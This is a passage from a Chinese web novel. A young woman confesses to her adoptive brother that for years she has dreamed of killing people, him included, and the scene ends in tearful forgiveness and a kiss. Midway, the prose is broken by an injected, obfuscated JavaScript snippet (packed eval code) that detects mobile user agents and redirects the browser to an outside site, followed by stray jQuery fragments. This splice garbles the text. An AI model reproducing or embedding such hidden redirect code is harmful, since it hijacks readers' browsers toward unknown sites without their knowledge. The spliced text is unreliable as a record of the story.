“我是从十四岁那年开始做梦的。”
这句话像一个漫长故事的开头。
陈尔若望着他的背影，声音轻得仿佛在呢喃。
“家”变成密室，将他们囚禁在一处。
过去很多年，她最熟悉陈宿的背影。她不敢抬头看他的脸，他在一次次沉默中转过身。
厚重的窗帘严严实实遮住窗外的光线，房间像巨大的、密闭的盒子。
陈尔若环顾屋内昏暗环境，忽然觉得这里充满安全感，她抹了把脸，强撑出来的笑容渐渐消失，她倚着门坐下，坐在门口的地垫上，抱住膝盖，继续喃喃说下去。
“最开始，我记不清梦里的内容，只知道醒来后满身冷汗。每当我试图回忆，我的胸口就会变得很闷，我会恶心、干呕……这种状态持续了一个月。我看过医生，也检查过身体，结果显示我的身体一切良好。心理医生说我可能是压力太大，而且，记不清梦里的内容也是正常的，叫我放宽心，不要太紧张。”
“半年后，我身上的症状渐渐消失了……那些发生梦里的事也清晰了。”
她说：“我看见，梦里，我在杀人。”
“梦境的触感是真实的，有温度、有颜色，连痛觉也是真切的。那些被我杀掉的人，有男有女，有老人有小孩，我看不清他们的脸，也控制不了自己动作。他们不会哭，也不会尖叫，只用空洞的眼睛看着我，似乎感觉不到痛。整个过程，我感受不到任何情绪，手里握着血淋淋的断肢也不会害怕……就像屠宰场里那种技术娴熟的师傅，我已经习惯了这样的动作，一刀刀砍下去，麻木地动手。”
陈尔若摊开手，茫然望过去。
空荡荡的掌心，白皙干净。
她该怎样形容那些被她杀掉的人呢？
像一个个没有灵魂的人偶，皮肉下淌着的血不是人血，而是丰沛的、带着甜腥味的果实汁水，刺破皮肤就汩汩流出来，不会尖叫不痛，乖乖地任人宰割，像案板上已经死过一遍的肉，割一刀还会渗出淋淋漓漓的血，新鲜到肉还会抽搐战栗……她只是将他们再度砍碎的人。
朝她走来的脚步声急迫靠近，陈尔若没有抬头，平静地、自顾自说下去：“梦醒之后，我会感到无比的恶心。每次低头看见自己的手，我都会觉得上面沾满了鲜红的血……可哪怕是这样，我仍然感觉不到杀人的恐惧。”
“正常人被迫杀害别人后应该感觉到的情绪，我感觉不到。洞穴里，我说的是实话……杀掉一个人对我来说，没有任何感觉。”
话音落下，她的肩膀被人狠狠抓住，是有些疼的。与之到来的是灼热的呼吸声，陈宿一只腿跪在她身旁，箍住她的胳膊，动作有一丝不明显的颤抖，厉声制止：“够了！陈尔若，够了。”
是他想知道答案的。
为什么又要阻拦她？
陈尔若莫名有些想笑。她不想辜负自己来之不易的勇气，慢吞吞说下去：“当我逐渐习惯这一切后，梦又开始变了。”
她的声音停顿了一下：“他们有了脸。”
“从陌生的脸，到熟悉的脸。从我从未见过的人，到我出现在我身边的人……他们的表情开始扭曲、狰狞。可他们的嘴被封住了，发不出声音，惊恐地看我。如果我不动手，他们会被空气撕碎，哀嚎尖叫，血肉横飞。”
“他们总是要死的。”
她抬眼，看着他缩成一团的瞳孔：“所以我主动杀了他们。”
“脑干、脊髓、心脏、大动脉，解剖课，其他人了解它们的位置、作用、受伤后如何救治，我需要了解这些脆弱的地方捅进去后如何迅速致死，免于持续性痛苦。”
“这个三个阶段加起来只有半年的时间，我以为这是结束……直到你也出现在我梦里。”她伸手，抚摸上他的脸，难得流露出一丝空茫，“陈宿，你也在那儿。”
“你说你想杀我……是因为你在梦里杀过我。”
“是。我杀过你。”
“……多到连我自己都记不清次数了。”
残酷的语句经由她的嘴说出，陈尔若却并没有紧张恐惧。他们之间的角色仿佛调换了，她变成那个冷静的人，而陈宿用胳膊紧紧抱着她，他的怀抱紧到让她有些喘不上气。
陈尔若稍稍推了推他的胸膛，笨拙地劝慰他：“梦里其他人消失后，只剩你。在我们小时候的房间里，在这里……但里面不止有噩梦，还有别的，我也梦见过爸妈，那是美梦。陈宿，我不在乎我不是他们亲生的，哪怕我们没有血缘关系……爸爸妈妈还是我的……”
爸爸妈妈。
她不该提到这个的。
她的声音忽然冒出一点哽咽。
她的手臂被陈宿箍住，她腾不出手给自己擦眼泪，拼尽全力想把眼泪憋回去。她想要继续说下去，可是哽得说不出话。她明明是个憋不住眼泪的人，此刻却非要将眼泪咽下去。
“为什么不告诉我？”
她流满泪的脸被捧起来，陈宿盯着她，他眼里似乎也蓄了火与泪，愤怒的、痛苦的、悲伤的，充满爱与恨的，他用同样哽咽的声音质问她：“为什么不告诉我？！”
“我该怎么告诉你！我该怎么……”
眼泪再也控制不住，决堤而下。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16086668|173346||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
陈宿，我甚至不敢看见你的脸……我分不清梦境现实。”
陈尔若用额头抵住他的脸，靠在他身上，泣不成声：“每年生日、新年，每次能许愿的时候我都许愿让我别再做梦了，我再也不想做梦了……可是没用，都没用。后来我还能听见我自己的声音，我知道，那就是我的声音。那声音告诉我，只要杀掉你，我的痛苦就会彻底消失了——只一个你就够了。我知道你恨我，可我……”
“可……”
她呜咽到说不出话。
她知道她做错了什么。
她该对他愧疚的。
她却变得恐惧。
她不敢面对她犯下的错，也不知道该怎么弥补，她只擅长用道歉掩饰她的迷茫，然后眼睁睁看着她所亏欠的人变得更加漠然。
她恐惧他的恨意。
恐惧让她发自内心抵触接触，抵触面对。
她可以控制别人的精神，却控制不住自己的精神体——每一次，毛毛用警惕冰冷的目光看着他，她都手足无措。
她无从解释。
像一个死循环。
而她和陈宿站在纠缠的两端。
“我原谅你。”
直到这句话出现。
她埋在他肩头，僵硬的，听见他嘶哑的声音，剩余的、无言的解释咽回喉咙。
他哽咽着说：“我原谅你。”
*
所有的解释都消融在这个被泪水浸湿的拥抱中，久到脖子酸痛，陈宿也没再说第二句话。他将她抱在怀里，头却埋进她颈窝。
陈尔若渐渐止住抽泣，抓着他的衣服，小心翼翼，声若蚊呐：“陈宿，如果你原谅我……那你还恨我吗。”
陈宿埋在她颈间，闭上眼，鼻梁湿热，哑声说：“恨你。”
恨她从不和他解释。
恨她纵容他伤害她。
恨她折磨他，又爱他。
他的话从齿间挤出，重复着，像是在说服自己：“我还是恨你。”
她伸手抱住他，闷闷地、弱弱地问：“陈宿，如果你恨我……为什么要哭。”
“……”
陈宿顿了顿，猛地抬头，抓着她的肩膀，吻上她的嘴唇，将她惊愕的呼声囫囵吞下去。
他用一个吻封住她的问题。
答案溶解在脸颊相贴的湿润里。
为什么要哭。
——因为爱你的人会比你先流泪。
她是故意的。
他想。
她知道当他知道这些，他就再也不会拦着她做任何事了。这辈子，他都不会再恨她了。